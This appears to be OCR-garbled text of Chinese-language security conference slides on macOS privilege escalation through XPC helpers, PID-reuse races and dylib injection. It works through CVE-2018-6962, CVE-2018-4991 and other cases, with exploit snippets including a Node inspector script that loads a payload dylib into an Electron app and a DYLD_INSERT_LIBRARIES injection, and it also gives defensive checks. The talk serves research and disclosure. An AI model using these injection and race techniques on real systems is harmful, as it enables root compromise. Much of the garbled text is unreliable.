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« XERTEEF

e entitlement



« BHfn:

e LaunchDaemons

» Wik
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 Named pipe, (domain) socket, MIG, Distributed Objects, AppleEvents
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FHRBEXHR
B EH ps -U root E— F, NEEREERNINARSZ HIE

macOS FEA root tNERNB&inofmEdl MIE

o /System/Library/LaunchDaemons

» /Library/LaunchDaemons

launchctl dumpstate P %l FRE mach ARSSHEIE B

B=HEHIRSZBEER{ER SMJobBless 3% /Library/
PrivilegedHelperTools



PrivilegedHelper

» pilpe ls -
total 24600
—rw—rw—rw-—
— WX rwX rwx
— WX rwX rwx
—rw—rw—rw-—
— WX rwX rwx
— WX rwX rwx
—rw—rw—rw-—
— WX rwX rwx
— WX rwX rwx

FiB FIFO 1

L

R R RPRRRRERRR R

ofe
root
root
ofe
root
root
ofe
root
root

R E2HREFHN R F+

EEERIEE NEIZENXLE

admin
admin
admin
admin
admin
admin
admin
admin
admin

(£ B E XBITMNFE I ETEE

, {&F

8
2097152
2097152

8
2097152
2097152

8
2097152
2097152

-ANBE SN 0777, FRA#H

Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug
Aug

21
21
21
21
21
21
21
21
21

11:
11:
113
12:
11:
113
12:
11:
113

11

11

11

21
13

28
13

40
13

ololNololNolololNolNeo)

PZAE

m_fsmon_lk
m_fsmon_rd
m_fsmon_wr

&R T *MacMgrAgent, LA root tXFEH1T

oroc__ Lk
oroc_rd

DroC_Wr

m_sock_ 1k
m_sock_rd
m_sock wr

S
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] named pipe I IPC, sem_post ] sem_wait SEMHHTZ BB



HYE IR xungiExs

R E2HREFHN R F+

1£ 10N l_ *E T 1j\J \ﬂ: ] ﬁ X E |:| ag e nt # * ® @) xrefs to __text:0000000000026
ajﬁ ﬁ tl:f_.ll-: *K j:;T% 1/E [?"recuon ” }_\::ij\install_aIHBA :)I(It _executePipeCommand

_dm_update+FF call _executePipeCommand
_dm_get_process_info+61 call _executePipeCommand

T

_dm_get_fsmon_event+68 call _executePipeCommand
_dm_get_process_socket_info+39 call _executePipeCommand
_dm_kill_process+3A call _executePipeCommand
_dm_file_action+65 call _executePipeCommand
_dm_dock_show+3A call _executePipeCommand

» exec_command BEERHFEANE
R IRAILE system REL

_dm_set_fan_speed+49 call _executePipeCommand
_dm_exe_command+7F call _executePipeCommand
_dm_fix_plist+98 call _executePipeCommand
_dm_modify_plist_file+C1 call _executePipeCommand
_dm_load_kext+7F call _executePipeCommand
_dm_unload_kext+97 call _executePipeCommand
_dm_moveto_file+A5 _executePipeCommand

o)
o)
o)
o)
o)
o)
o)
o)
o)
o)
o)
o)
o)
p

+ 2017 &£ 8 BIR&EHEBE
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old school setuid

o [EIfEERATEM Unix R%:

« BB sticky MBI R AE A setuid K15 root FXFE

o B

o TEIRMIAME argv MR T = FIAREANSEIE NG <TIIT

« BHA root (XERHIZET ipc EAABRIZAI X4
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42 HAY rootpipe (CVE-2015-1130)

root FXPEHITHY writeconfig # 2ZEE 7 XPC =20, PIEIEERERZEIEIE
NE. (EERSEIX

B HE M XPC #EO R Ei2E AR setuid BIERISME, BNEEBEHR
1TEI I 315 root Y[R

2014 FRIRSHLFER, URIFIEECERETFIAZE, HTRBEATS

| )

R Z T, ¥ DECON 23 - Stick That In Your (root)Pipe & Smoke It
https.//www.slideshare.net/Synack/stick-that-in-your-rootpipe-smoke-it

WNZ2<SH, #NTEZ2FE—E/Na&, BEXAEXRFA (FETH)


https://www.slideshare.net/Synack/stick-that-in-your-rootpipe-smoke-it
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XPC?

H Bl macOS [ i0S 19z 1589452 (8] @ {1/l

(ERRMUSHFIRRINE, SFFEF im "M “BkSSim” XX @ pYH %15

7c schema, EZIERE, HEBWRREIMC A Z_#HHlGEAE, ELERES plist
EMAVETESERY, DAREIIMNS I R IE—EEAFTRIERNE (SUERIARTF . mach port)

it C FEM@XI KA NSXPCConnection Hiff api, FENBIENE—ZEEH %

XPC | Apple Developer Documentation

Auditing and Exploiting Apple IPC



https://developer.apple.com/documentation/xpc
https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf
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client server
Xpc_connection_create_mach_service Xpc_connection_create_mach_service
XPpC_connection_resume Xpc_connection_set_event_handler

XpC_connection_resume

Xpc_dictionary_create

Xpc_dictionary_set_*

Xpc_connection_send_message_with_reply_sync —

Xxpc_dictionary_get_ * <«

G

thinl
LHL]
F
=\
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XPC il &

. Bz e

o PRZNHONZVER, B F R

* |Idb Python binding: https://lidb.llvm.org/python-reference.html

L

 MonkeyDev https://github.com/AloneMonkey/MonkeyDev

 frida.re https://www.frida.re/
{£H js BIZ, FF4mi¥, WE Objective C iz THIIENT



https://lldb.llvm.org/python-reference.html
https://github.com/AloneMonkey/MonkeyDev
https://www.frida.re/
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XPC il &

Fe Wi -

e (FKREHFEE) _xpc_connection_call_event_handler

=F

NN
RIE

w,
I

N

e Xpc_connection_send_message(with_reply(_sync))

&R LRI K FETF OS_xpc_object: typedef NSObject<OS_xpc_object> *xpc_object._t;

Al B 1% Objective C iz1THI3IAEX description, = {EHMH char *
Xpc_copy_description(xpc_object_t object);

https://github.com/chichou/xpcshark



https://github.com/chichou/xpcshark

BY K caaiEkcs
¥ Ui

Interceptor.attach(DebugSymbol.getFunctionByName(' xpc_connection_call_event_handler'), A
onEnter: function (args) A
console.log(new ObjC.0Object(args[0]));
console.log(new ObjC.0Object(args[1]));

+
r);

<0S_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false,
pid = 102, euid = 0, egid = 0, asid = 100000 }>
<0S_xpc_dictionary: <dictionary: 0x7ffb16d76d80> { count = 4, transaction: 1, voucher = 0x7ffbl6d76af@, contents
"data" => <data: Ox7ffbled76fbo>: { length = 116 bytes, contents =
0x62706c6973743030d2010203045866756e636€616d65546e... }
"error" => <uint64: 0x/ffbled7/6ff0>: 0
"client_id" => <uint64: 0x7ffblod77010>: 1
"complete'" => <bool: Ox7fff8c397b78>: true

>
<0S_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false,
pid = 102, euid = 0, egid = 0, asid = 100000 }>
<0S_xpc_dictionary: <dictionary: 0x7ffb16c431b0> { count = 4, transaction: 1, voucher = 0x7ffb1l6c60f80, contents
"data" => <data: Ox7ffbl6c48420>: { length = 91 bytes, contents =
0x62706c6973743030d101025866756e636e616d655f10214F... }
"error" => <uint64: 0x7/ffb16c48200>: 0
"client 1d" => <uint64: Ox7ffbl6cdecad>: 2
"complete'" => <bool: Ox7fff8c397b78>: true

>
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function hook(symbol) {
Interceptor.attach(Module. findExportByName(null, symbol), A
onEnter: function (args) {
const conn = new 0bjC.Object(args[0]);
const msg = new 0bjC.Object(args([1]);
const content = [symbol + ':', conn, msgl;
if (symbol === 'xpc_connection_send message with reply' && 'args[3].isNull()) {
// JIB block [E1E, REiEFRTIEEE
I3
console.log(content.join('\n"));
¥
onLeave(retVal) {
if (symbol === 'xpc_connection_send message with_reply sync') A
console. log('send sync, reply:\n' + new 0ObjC.Object(retVal));

hook (
hook (
hook (

Xpc_connection_send_message');
Xpc_connection_send_message with _reply');
Xpc_connection_send_message with _reply_sync');
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NSXPCConnection

o 1EWIHFN &= IREA Objective C #Y @protocol WEZOFNSENLEY

@protocol PrivilegedOperation <NSObject>

— (void)addItem: (NSString *) reply:(void () (BOOL status, NSError xerr))reply;
@end

o KiXIm{ER remoteObjectProxy 1A zd %z, {FRETIEO

NSXPCConnection xconnection = [[NSXPCConnection alloc] initWithMachServiceName:@"MyAgent"
options:NSXPCConnectionPrivileged];

connection.remoteObjectInterface = [NSXPCInterface

interfaceWithProtocol:@protocol(PrivilegedOperation)];
[connection resume];

[connection.remoteObjectProxy addItem:@"test" withReply:~(BOOL status, NSError xerr) A
NSLog(@"0K");
1
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bplist16?

« NSXPCConnection HIZfz 1A =#F 5L bplist16 FA B B TVRFE!
dictionary B root &%

s NANIEA /R

e http://newosxbook.com/tools/simplistic.html

* TripleFetch exploit by lan Beer https://github.com/iabem97/saigon/
blob/master/saigon/triple fetch/minibplist16.c

» H1% hook protocol =ABAY ObjectiveC A1


http://newosxbook.com/tools/simplistic.html
https://github.com/iabem97/saigon/blob/master/saigon/triple_fetch/minibplist16.c
https://github.com/iabem97/saigon/blob/master/saigon/triple_fetch/minibplist16.c
https://github.com/iabem97/saigon/blob/master/saigon/triple_fetch/minibplist16.c
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CleanMyMac 3.9.5 Attt RIZF+

e Z23% com.macpaw.CleanMyMac3.Agent 2l PrivilegedHelper

. XPC RE=2RENEF MR, BHBSEONT:

@protocol CMPrivilegedOperation <NSObject>

— (void)runPeriodicScript: (NSString *)argl withReply: (void (#)(BOOL, NSError x))arg2;

— (void)moveItemAtPath: (NSString *)argl toPath: (NSString *)arg2 withReply: (void () (BOOL, NSError x))arg3;
— (void)enableLaunchdAgentAtPath: (NSString x)argl withReply: (void (”)(BOOL, NSError x))arg2;
)

— (void)startStartupItem: (NSString x)argl withReply:(void () (BOOL, NSError x))arg2;
@end

e runPeriodicScript A root FXPE1T /usr/sbin/periodic

» periodic XFFHEABRBIENTE, BHFITEFMBRIRIRITIF
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AN{EIRT XPC Z P ik iikia?

Xpc_connection_set_event_handler i% & handler block FR4ME
xpc_get_type(event) == XPC_TYPE_CONNECTION W14

e Xpc_connection_get_{gid,asid,egid,euid,audit_token}

-(BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:
(NSXPCConnection *)newConnection; [B]1 R 1B {E A\ AY newConnection

« NSXPCConnection processldentifier, effectiveGroupldentifier,
effectiveUserldentifier 1 auditToken &%

(3F) xpc_connection_get_audit_token 1 [NSXPCConnection auditToken] AFAE api
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{3 audit token RIEIBER

o SecTaskCreateWithAuditToken ¥xHX SecTaskRef

 SecTaskValidateForRequirement fi EfVIS TR 2L RFS requirement string
(https://developer.apple.com/library/archive/documentation/Security/
Conceptual/CodeSigningGuide/RequirementlLang/Requirementlang.htmi)

{5190 anchor trusted and certificate leaf [subject. CN] = com.company


https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html
https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html

SecCodeCopyGuestWithAttributes sz $5181J pid Bll## SecTaskRef, FN{TANMERA?

pid AI{EE.

], exec” RWEZEZIFIEEHI pid BN — T EFEVHIE

HYE IR xungiExs

pid FHFZF

XPC MRIFBEERIZEKER ZEIFENEEO, EREREHREZINE

N\

» T RIZZTH

» {EFIFPEHZERE

£8 xpc_connection_send_message 2§ NSXPCConnection FJE13%

=3 IIbXpC :

ISESTINT

detail?id=1223

==Y

HEE

IR X T IR https://bugs.chromium.org/p/project-zero/issues/

X https://github.com/google/macops-MOLXPCConnection/issues/3



https://bugs.chromium.org/p/project-zero/issues/detail?id=1223
https://bugs.chromium.org/p/project-zero/issues/detail?id=1223
https://github.com/google/macops-MOLXPCConnection/issues/3

HYE IR xungiExs

pid FHFZF

#define COUNT 10
int pids[COUNT];
for (int i = 0; i < COUNT; i++) A
int pid = fork();
if (pid == 0) {
xpc_connection_t connection = xpc_connection_create_mach_service("Helper", NULL,
XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ~(xpc_object_t event) {});
Xxpc_connection_resume(connection);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_connection_send_message(connection, message);
charx target_binary = “/path/to/valid signed binary”;
charx target_argv[] = {target_binary, NULL};
exec_blocking(target_binary, target_argv, environ);
} else {
pids[i] = pid;
}

I3

sleep(1);

for (int 1 = @; i < COUNT; i++) {
pids[i] && kill(pids[il, 9);

I3
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T

ERNEERT?

» ISINEFERRIE

® ~ /Applications/Xcode.app/Contents/Developer/usr/share/xcs/Node/bin/node
> process.dlopen({}, '/Applications/Visual Studio Code.app/Contents/Frameworks/Mantle.framework/Mantle")
Error: Module did not self-register.

at Error (native)

at repl:1:9

9 ~ codesign -dvvv -R="anchor apple" 88137

Executable=/Applications/Xcode.app/Contents/Developer/usr/share/xcs/Node/bin/node
Identifier=com.apple.node

Format=Mach-0 thin (x86_64)

CodeDirectory v=20200 si1ze=128398 flags=0x0@(none) hashes=4008+2 location=embedded
Hash type=sha256 size=32
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RIREN

dlopen / CFBundle / NSBundle &SN EiE LR

. BRI ERFIETED

=

MEs LTS RSN

dylib #13%F: Dylib hijacking on OS X

- FREER I

X E12A9 LC_RPATH A9 LoadCommand,

@rpath BIZ%

o WEIS—PIEMRINFEERA LC_LOAD WEAK _DYLIB

DYLD /15T =

HH—IZI:-LI:I = % %% T

C WNEAYAEY DYLD INSERT LIBRARIES

e

HYE IR xungiExs

Al

LC LOAD* DYLIB BYIR1R{ERT



https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/LoadingCode/Tasks/LoadingBundles.html
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x

— R A ERBES

S IMIET =I8ER dylib (0F)

CoreFoundation {&

u

i CFNETWOR

BT EEAN

K _LIBRARY PATH &%t CFNetwork

CF_PRIVATE void x__CFLookupCFNetworkFunction(const char s*name) {
static void ximage = NULL;
if (NULL == image) A

const char *xpath

= NULL;

if (! _CFProcessIsRestricted()) {

path = _ _CFgetenv("CFNETWORK_LIBRARY_PATH");
}
if (!path) {

path = "/System/Library/Frameworks/CFNetwork. framework/CFNetwork",
}

image = dlopen(path, RTLD_LAZY | RTLD_LOCAL);

ImagelO {£FH RAWCAMERA_BUNDLE_PATH &#x RawCamera %

— F,
— 4 ’

if ( !(unsigned

1nt8

)dyld_process_is_restricted() )

= getenv("RAWCAMERA_BUNDLE_PATH");
if ( !'(gIIODebugFlags & 0x40000)

& (vl && (

= dlopen(vl, 1)) != OLL

|| (v2 = dlopen("/System/Library/CoreServices/RawCamera.bundle/C

HYE IR xungiExs



BY¥ Ik cupmmExs
dyld_process_Is_restricted

o dyld W MER S HEIRIC I Z R
« AIHITXHRS setuid &%
» {F1£ _restrict 3& _ RESTRICT XEx
» NIBERZH A entitlement

o SRFHINHIZSZAEE DYLD_* MMET =, UNERIZRBIXIEZIAY bundle
=2
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i P B 2 B2 5523

R 7S R 28 R A mT LA TICHS

|

3

mAEEEETFHNEENFER
lua. node.js & WL FEIHFEAH

155, Electron. nw.js. Bracket-Shell, libCEF & #F Chromium JZf2iEi,
THEAY node.js IRE

(FRABIZAEIZSLI IPC

oy = A 5|22/ dlopen 12O M0E —1H I E
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Python
__import__ ('ctypes').cdll.LoadLibrary('/path/to/dylib")

# or

getattr(__import__ ('ctypes').cdll, '/path/to/dylib"')

node.|s

process.dlopen({}, '/path/to/dylib")

Ruby

® ~ 1rb
1rb(main):001:0> require '/System/Library/CoreServices/
TouchBarEkvent'

VE!

package. loadlib('bin/evil.dylib', '")



HYE IR xungiExs

T MR E T E

e adobe/brackets-shell

« EF LibCEF, EiA,

]l

] remote_debugging_port (TCP 9234) , [a] renderer ;£ A node.js {13

* nw.js ] Electron

« —remote-debugging-port= [T ETF WebSocket HImFZ X 11X, @ renderer A node.js
hs

» Electron 235 v8 AN MX, FIm@=EFHIZEEA node.js L3

« —inspect-brk=port (|HIRZ<} —debug-brk=)

o ET TCP MY, BIVEHR HTTP




Ba i sapiEks
v8-inspect ;£ A electron

const port = 5858;

const electron = ‘/Applications/Awesome.app/Contents/Mac0S/Electron’;

const dylib = ‘/path/to/evil/payload’;

const p = spawn(electron, [ ——inspect-brk=${port} , ~——debug-brk=${port} 1);

setTimeout(() => {
const client = createConnection({ port: 5858 }, () => {
const json = {
command: ‘'evaluate',
type: 'request’',
seq: 1,
arguments: {
expression: "process.dlopen(${dylib}) ,
global: true
s
b
const body = Buffer.from(JSON.stringify(json));
const header = “Content-Length: ${body.length}\r\n\r\n";
client.write(header);
client.write(body);
client.end();
}).on('end', () => process.exit());
}, 500);
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CVE-2018-6962 VMWare Fusion & %1d

= (const char *)xpc_dictionary_get_string(a2, "kextName");

EANRZY BAVRE R, REFTHY f %f ( tnane )

sub_100001D40("Invalid kext name.\n");

/4 : 22; |
° ﬁi)'rl': %ﬁ%gﬁiﬁ, XPC Rﬁ\,ifF VMWare goto LlleEL 16;

}

if ( strncmp(name, "com.vmware.kext.", @0x1@QuLL) )

- {

Fusion AYZH {41/

goto LABEL 16;

}
sub_100001C80("0Opening control socket to: %s\n", name);

/5 = socket(32, 2, 2);
if (vh == -1 )
{

xpc_dictionary_create_reply(a2);

if ( !‘: ')

sub_100001EQ0("VERIFY %s: %d\n“, "bora/apps/kextCol
xpc_dictionary_set_int64(v12, "status", v4);
if ( v )

xpc_dictionary_set _fd(v: (__int64)"fd", v5);

14 = xpc_dictionary_get_ remote connectlon( ));
if ( 'vid )

sub_100001EQ0("VERIFY %s: %d\n“, "bora/apps/kextCol
xpc_connection_send_message(v: /13);
xpc_release(v13);
if (w5 1= -1 )

_error();
XV0O,
’ strerror(* 3);
sub 100001C80("socket failed: %s\n", v9);
' -1;
goto LABEL_16:

= fentl(v5, 3);
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SRRl

Process 28365 stopped
* thread #2, queue = 'com.apple.root.default-qos.overcommit', stop reason = breakpoint 2.1
frame #0Q: Ox00007fft37782220 CoreFoundation CFBundleGetValueForInfoDictionaryKey
CoreFoundation CFBundleGetValueForInfoDictionaryKey:
-> Ox7tff37782220 <+0>: push rbp
Ox7fff37782221 <+1>: mov rbp, rsp
Ox7fff37782224 <+4>: push rl4
Ox7fff37782226 <+6>: push  rbx
Target @: (com.vmware.VMMonHelper) stopped.
(11db) po $rax
CFBundle 0x7fc291c@ca4@® </Library/PrivilegedHelperTools> (executable, loaded)

(11db) po CFBundleGetValueForInfoDictionaryKey($rax, @"XPCService")
1

"_AllowedClients" = "info[CFBundleldentifier] = \"com.vmware.\"* and anchor apple generic and anchor trusted
and cert leaf[subject.CN] = *\"VMware, Inc.\"*";

¥
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CVE-2018-6962 VMWare Fusion & %1d

T&ﬁ:ﬁ% /’] : = xpc_connection_get_pid(a2); // bug 1: pid RO, FAIL&HES
° 1%% T H = g E\ pld if ( !proc_pidpath(pid, , 0x1000u) ) -

*(_OWORD =) = xmmword_100002A90;
Y I, A\ A L 3K sub_100001C80("%5d: Received connection from %s\n", );
'ﬂE 3 ﬁ%*ﬂg 2 zz& = oLL;
= OLL;
= CFNumberCreate(OLL, 9LL, &pid);
if ( )
{
Y A :titﬂ'l'\ = CFDictionaryCreateMutable(@OLL, OLL, OLL, OLL);
o AT PMERAMIRE if ( dict )

BINE s
E/ % CFDictionarySetValue( , kSecGuestAttributePid, )F

if ( (unsigned int)SecCodeCopyGuestWithAttributes(OLL, , OLL, &
{
= "%5d: Failed to copy guest. (%d)\n";
goto LABEL_13;

}
= CFBundleGetMainBundle();
if )
{
= CFBundleGetValueForInfoDictionaryKey( , CFSTR("XPCService"));
if )

{
= CFDictionaryGetValue(v1l, CFSTR("_AllowedClients"));// B&&
if ( )
{
0
!

f ( !'(unsigned int)SecRequirementCreateWithString( , OLL, &v26) )

i
{

= SecCodeCheckValidity( , OLL, );// bug2: binary EHEMRERF, FIHMAKTRZLE
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B

« DYLD_INSERT _LIBRARIES jF A\BHREREF, WINFTHIXFZEE

CVE-2018-6962 VMWare Fusion

2

* ~ 11 /dev/vmmon

Crw------- 1 root wheel 40, 1 Jun 15 16:23 Iﬂﬁﬂlﬂﬁﬁﬂﬂ
® ~ DYLD_INSERT_LIBRARIES=/tmp/libparasitic.dylib "/Applications/VMware Fusion.app/Contents/Library/VMware
Fusion Start Menu.app/Contents/MacOS/VMware Fusion Start Menu"

2018-04-12 16:53:57.803 VMware Fusion Start Menu[30190:6859730] reply: <dictionary: 0Ox7fe6@97001cO0> { count = 2,
transaction: @, voucher = 0x0, contents =

"fd" => <fd: 0x7fe609700280> { type = (invalid descriptor), path = /dev/vmmon }
"status" => <1nt64: 0x7fe6097002d0>: 0O
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CVE-2018-4991 Adobe Creative Cloud Z~ithi24%

HERIE{SE T NSXPCConnection, Z@E T XML B)/R 2, BT — createProcess 1%

—

<?xml version="1.0" encoding="UTF-8"7>
<action>
<actionType>createProcess</actionType>
<actionArgs><cmdArgs><cmdArg>——pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg>
</cmdArgs>
<processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</
processPath>
</actionArgs>
</action>

MY listener:shouldAcceptNewConnection: 1 & % F i,

NElZrREnEERE (RBHEN) E3NE

std::string::string(&v38, "<output><result>Fail</result></output>");
= 0;

= 0;
if ( (unsigned __int8)is_valid_adobe_binary(x(_DWORD ) ( + 20)) )
- Aq

= new_log_target();
= sub_3010((int)v5);
(x(void (__cdecl xx)(int, const char %, _DWORD, _DWORD)) (s(_DWORD x) + 8))(
’

"Inside ProcessLauncher::executeAction | LaunchingProcess at path %s with waitForFinish S%d"
*(_DWORD ) ( + 16),
*(unsigned __int8 x)( + 24));

= x(_BYTE %) (a2 + 24);

= 0;

= Q00BEUtils::ProcessUtils::LaunchProcess((_DWORD *)(a2 + 16), + 4, (int)&
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CVE-2018-4991 Adobe Creative Cloud Z~ithi24%

(. ((11),,, filename, ) ) N |/ - —
i Coroitn( HXPHREE SR, macOS AR HE RN

if ( (unsigned __int8)is_valid_adobe_binary((int)

{f { (rsianed iniShis valid.odoe- o Rt

= 1:proc_name((int)pid, | name, 0x100u);
= new_log_target();

objc_msgSend("NSArray", "arrayWithObjects:", CFSTR('"-dvv"), , 0);
objc_msgSend("NSTask", "alloc");
objc_msgSend(v7, "init");
= objc_msgSend(v8, "autorelease");
= objc_msgSend("NSPipe", "pipe");
= objc_msgSend(v9, "fileHandleForReading"); A e s o a —
objc_msgSend(v26, "setLaunchPath:", CFSTR("/usr/bin/codesign")); N th =
objc_msgSend ( , ""'setArguments:", ); *“’ = l—‘|-$:|: E:Wi US|eep iElj(HT-“E—J =
objc_msgSend(v26, "setStandardOutput:", );
objc_msgSend(v26, "setStandardError:", );
objc_msgSend ( , "launch");
usleep_UNIX2003(10000); /V usleep REREMUES
objc_ msgSend ( , "readDataToEndOfFile");

[

*(void *x) (DWORD1( ) + 4 % 7);

(char *)objc msgSend(
x(void ) (DWORD1(v33) + 4 % v17),
*((const chai )&loc_177A4 + 29361), : : S s
CFSTR("AutHoIrity=“)); B ERE CodeS|gn A ERY requirement string 1572

if ( v19 !'= (char %)@x7FFFFFFF ) =
% - ” E.IJ_L Z, _'llﬁE yji 'JLJﬁ&??%'::'%ZE*E

1 = objc_msgSend(v18, *(c char %) ((char *)&loc_
if ( *( DWORD =) (x( DWORD x) - 12) )
std::string::append(a2, "{|}", 3u);
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REMAETERITER

» Adobe Creative Cloud BF  —" "B &% HY node.js

/Applications/Utilities/Adobe Creatlve Cloud/CCLibrary/CCLibrary.app/
Contents/libs/node

o« EFAYEITE Brackets g2 EH

® ~ codesign -dvvv /Applications/Brackets.app/Contents/Mac0S/Brackets-node

Executable=/Applications/Brackets.app/Contents/Mac0S/Brackets-node
Identifier=Brackets-node

Format=Mach-0 thin (x86_64)
CodeDirectory v=20200 s1ze=240909 flags=0x0@(none) hashes=7524+2 location=embedded
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INE{REY XPC BRSE

. @it EER BEIT— S MO

» {ERHB R FHERNEFin

o [EIRT{EH entitlement LIS

« {£FH Library Validation JNE ] #1417 X1



BY A€ scanpigAce
entitiement

BRAERIEERZRER plist (XML 1&2\)

n[{§H Xcode, Bf codesign T RF &AM

{EF csops IiE, FEFET Zfh AP

 [INSXPCConnection valueForEntitlement:]
e Xpc_connection_copy_entitlement_value

 SeclaskCreateWithAuditToken, SecTaskCopyValueForEntitlement

w07 entitlement BRI 1T (4, dyld 28 DYLD* #i5T¥= ()
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AE x| SIP

o 7 SIP &b FEFIREST, entitlement A~fR&l DYLD RIBET =

bool usingSIP = (csr_check(CSR_ALLOW _TASK_FOR_PID) !'= 0);

uint32_t flags;

if ( csops(@, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) {
// On 0S X CS_RESTRICT means the program was signed with entitlements
if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && ) {

gLinkContext.processIsRestricted = true;

}

« BITHIANE /System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/
Setup Assistant, P E entitlement 5 com.apple.mbsystemadministration AR

SiEE, MiEERBPEIEEEANK,, 3K15 root fXIR
https.//qgist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121

« DEFCON 2018 ¥ii%3 IPwnKit B93EFIHERGR S, B T7T—0I @



https://gist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121
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Library Validation

o] ABA LEEZRANE (BRIFEFREY platform library) BEISNZSEE#IOEL: https://
developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/
Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW9

® ~ jtool --sig -v /Applications/Safari.app
Blob at offset: 8448 (12720 bytes) 1s an embedded signature of 8161 bytes, and 4 blobs
Blob 0: Type: @ @44: Code Directory (321 bytes)
Version: 20100
Flags: none (0x2000)

Library Validation °] A[BIRSBA IR A ERE S . ‘R=d

cI]]

1'|'\II

. dylib FIFFRRESIEANNIIE

T

Xcode H7A0 Other Code Signing Flags: -o library

F 5] (L)

z1TEJIE A csops, REBEHFEN CS_REQUIRE_LV fr&fil (FH#E)



https://developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW9
https://developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW9
https://developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW9
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SamplingTools (EoP?) SIP %%

e com.apple.SamplingTools: /usr/bin/
{filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,m
alloc_history32,symbols,vmmap,leaks,stringdups,malloc_history} &, H]

FRITHIZRIT R, HSUEFLE

e XF3E root HL1THYHFE, SamplingTools F5ZE root Bl B]{EH

« H7AB com.apple.system-task-ports entitlement, BJ % root task for_pid
(3¥*) , Boli@iT (rootless-proc-filter) ¥ & Eid Z{RIFIHFE
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CoreSymbolication f=IR}E N

KN~ 3D

« X swift FZFF51#H1T demangling:
/usr/bin/symbols [swift_app_pid] -printDemangling

o libswiftDemangle.dylib!swift_demangle_getSimplifiedDemangledName

« IRERYN M =11 dlopen

o /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib
* /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib

» Xxcselect_get_developer_dir_path() /Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib

» XBIIIMIZRNE
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sl (B IR 2 MR oS B

= getenv("DEVELOPER_DIR");

e |ibxcselect! -

| if ((v8)
XcseleCt get developer dlr path ¢ if ( xcselect_find_developer_contents_from_path(v8, (__i
{
1755‘5 R [6] DEVELOPER_DIR #1=R3E e von TR a1, 1)
¥
?1se

__strlcpy_chk(al,
}

P S = 1;
return 1;

o FRZET swift? HNPFEIELEI5(0]

if ( '(ur . int8)get developer dir from symlink("/var/db/xcode select 1link

(allow default)

(deny file-readx
(literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib"")
(literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib")
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12 libdyld.dylib Ox0000/fff5178ad86 dlopen + 86

13 com.apple.CoreSymbolication 0x0000/fff3d800332 1invocation function for block 1n

call _external_demangle(char constx) + 348

14 libdispatch.dylib Ox0000/fff5174fe@8 _dispatch_client _callout + 8

15 libdispatch.dylib 0x00007/ftff5174fdbb dispatch_once_f + 41
com.apple.CoreSymbolication 0x0000/fff3d7a380f demangle + 298

17 com.apple.CoreSymbolication 0x00007fff3d7a35e3 TRawSymbol<Pointer64>::name() + 75

18 com.apple.CoreSymbolication 0x0000/fff3d7a888e CSSymbolGetName + 166

19 symbols 0x000000010ffc386a Ox10ffb7000 + 513006

20 symbols 0x000000010ffc3cbe Ox10TTb7000 + 52414

21 com.apple.CoreSymbolication 0x0000/fff3d7eba3’

TRawSymbolOwnerData<Pointer64>::symbols_in_address_range(CSCppSymbolOwnerx, TRange<Pointer64>, void
(_CSTypeRef) block_pointer) + 127

22 symbols 0x000000010ffc3c8e Ox10TfTfb/7000 + 52366

23 com.apple.CoreSymbolication 0x0000/fff3d7eb890
TRawSymbolOwnerData<Pointer64>::regions_in_address_range(CSCppSymbolOwnerx, TRange<Pointer64>, void
(_CSTypeRef) block pointer) + 124

24 symbols 0x000000010ffc3bof 0x10ffb7000 + 52079

25 com.apple.CoreSymbolication 0x0000/fff3d7cocoa CSSymbolOwnerForeachSegment + 92

206 symbols 0x000000010ffc3at2 0x10ffb7000 + 51954

27 com.apple.CoreSymbolication 0x0000/fff3d7adbee CSSymbolicatorForeachSymbolOwnerAtTime + 95
28 symbols Ox000000010ffc25b1 0x10ffb7000 + 46513

29 symbols 0x000000010ffc00ee Ox10TTb7000 + 37102
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5d & 2 IRIP?

® bin codesign -dvvv symbols

Identifier=com.apple.SamplingTools
Format=Mach-0 thin (x86_64)

CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) @
hashes=36+5 location=embedded
Platform identifier=4

Hash type=sha256 size=32

® bin codesign -dvvv symbols

Identifier=com.apple.SamplingTools
Format=Mach-0 thin (x86_64)
CodeDirectory v=20100 size=812 flags=0x0(none) hashes=32+5 @
location=embedded

Platform identifier=1

Hash type=shal size=20

10.11



HYE IR xungiExs

FMIAd=E

+*¥h¥ Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib

sandbox_init_with_parameters

setenv(DEVELOPER_DIR,...

